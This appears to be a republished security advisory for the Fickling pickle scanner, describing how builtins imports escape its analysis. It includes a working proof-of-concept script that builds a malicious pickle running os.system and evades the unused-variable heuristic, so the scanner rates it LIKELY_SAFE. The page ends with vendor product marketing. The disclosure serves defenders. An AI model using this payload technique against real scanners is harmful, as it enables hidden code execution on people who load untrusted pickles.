GHSA-h4rm-mm56-xf63
Fickling vulnerable to detection bypass due to "builtins" blindness
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
ficklingReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
#Fickling's assessment
Fickling started emitting AST nodes for builtins imports in order to match them during analysis (https://github.com/trailofbits/fickling/commit/9f309ab834797f280cb5143a2f6f987579fa7cdf).
Original report
Summary
Fickling works by Pickle bytecode --> AST --> Security analysis However while going from bytecode to AST, some import nodes are removed which blinds the security analysis
fickling/fickling/fickle.py
def run(self, interpreter: Interpreter):
module, attr = self.module, self.attr
if module in ("__builtin__", "__builtins__", "builtins"):
# no need to emit an import for builtins!
pass
else:
alias = ast.alias(attr)
interpreter.module_body.append(ast.ImportFrom(module=module, names=[alias], level=0))
interpreter.stack.append(ast.Name(attr, ast.Load()))
def encode(self) -> bytes:
return f"c{self.module}\n{self.attr}\n".encode()
Here we see that no import nodes are emitted for builtins However builtins is marked as an unsafe import
fickling/fickling/analysis.py
UNSAFE_MODULES = {
"__builtin__": "This module contains dangerous functions that can execute arbitrary code.",
"__builtins__": "This module contains dangerous functions that can execute arbitrary code.",
"builtins": "This module contains dangerous functions that can execute arbitrary code.",
But because there are no import nodes for builtins (they werent emitted when making the AST), the security scanner is effectively blind.
This can allow for security bypasses like this
poc.py (script to create payload)
import os
GLOBAL = b'c' # Import module.name
STRING = b'S' # Push string
TUPLE1 = b'\x85' # Build tuple of 1
TUPLE2 = b'\x86' # Build tuple of 2
EMPTY_TUPLE = b')'
REDUCE = b'R' # Call function
PUT = b'p' # Memoize (Variable assignment)
GET = b'g' # Load from memo (Variable usage)
POP = b'0' # Discard top of stack
EMPTY_DICT = b'}'
SETITEM = b's' # Add key/value to dict
BUILD = b'b' # Update object state (Liveness satisfy)
STOP = b'.' # Finish and return stack top
def generate_raw_payload():
payload = b""
payload += GLOBAL + b"builtins\n__import__\n"
payload += STRING + b"'os'\n"
payload += TUPLE1 + REDUCE
payload += PUT + b"0\n" # _var0 = os module
payload += POP
payload += GLOBAL + b"builtins\ngetattr\n"
payload += GET + b"0\n" # os module
payload += STRING + b"'system'\n"
payload += TUPLE2 + REDUCE
payload += PUT + b"1\n" # _var1 = os.system
payload += POP
payload += GET + b"1\n" # os.system
payload += STRING + b"'whoami'\n" # COMMAND
payload += TUPLE1 + REDUCE
payload += PUT + b"2\n"
payload += POP
payload += GLOBAL + b"builtins\nException\n"
payload += EMPTY_TUPLE + REDUCE
payload += PUT + b"3\n"
payload += EMPTY_DICT
payload += STRING + b"'rce_status'\n"
payload += GET + b"2\n"
payload += SETITEM
payload += BUILD
payload += STOP
return payload
if __name__ == "__main__":
data = generate_raw_payload()
with open("raw_bypass.pkl", "wb") as f:
f.write(data)
print("Generated 'raw_bypass.pkl'")
This creates a pickle file which imports the OS module using import which is a part of builtins. if the security scanner wasnt blinded it would have been flagged immidiately.
However now fickling sees the pickle payload as
_var0 = __import__('os')
_var1 = getattr(_var0, 'system')
_var2 = _var1('whoami')
_var3 = Exception()
_var4 = _var3
_var4.__setstate__({'rce_status': _var2})
result0 = _var4
<img width="810" height="182" alt="image" src="https://github.com/user-attachments/assets/5bfe8c34-7bc0-429f-83ce-d0c2f1928aca" />
As you can see there is no mention of builtins anywhere so it isnt flagged
Additionally, the payload builder uses a technique to ensure that no variable get flagged as "UNUSED" We deceive the data flow analysis heuristic by using the BUILD opcode to update an objects internal state. By taking the result of os.system (the exit code) and using it as a value in a dictionary that is then "built" into a returned exception object, we create a logical dependency chain.
The end result is that the malicious pickle gets classified as LIKELY_SAFE
Fixes:
Ensure that import objects are emitted for imports from builtins depending on what those imports are, say emit import nodes for dangerous functions like __import__ while not emitting for stuff like dict()
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | fickling | all versions | 0.1.7 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fickling. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update fickling to 0.1.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-h4rm-mm56-xf63 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-h4rm-mm56-xf63 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-h4rm-mm56-xf63. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-h4rm-mm56-xf63 in your dependencies?
O3 detects GHSA-h4rm-mm56-xf63 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.